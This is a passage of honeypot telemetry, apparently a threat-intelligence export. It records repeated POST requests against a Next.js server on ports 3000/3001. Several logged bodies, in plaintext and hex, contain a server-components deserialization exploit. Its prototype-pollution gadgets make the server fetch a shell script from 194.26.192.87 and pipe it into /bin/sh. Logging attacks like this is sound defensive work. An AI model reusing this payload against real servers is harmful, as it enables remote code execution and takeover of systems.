222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"c0039653-0b1f-44b3-901b-72760fdf2819","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76},{"timestamp":"2026-08-13T03:11:11","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"0654e4b6-4617-4156-b515-414e0b80380b","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":76},{"timestamp":"2026-08-13T02:26:10","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"dfbbbb5f-0824-4a7d-a3ed-fed1798cbf8c","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":76}],"http_methods":[{"method":"POST","count":60}],"distinct_ports_total":4,"top_paths":[{"path":"/","count":57,"ports":3},{"path":"/_next/server","count":2,"ports":1},{"path":"/api/route","count":1,"ports":1}],"distinct_paths_total":3,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"694","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02","notable":true},{"name":"Host","value":"<HONEYPOT>:3001","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-08-15T14:45:42.116330+00:00"}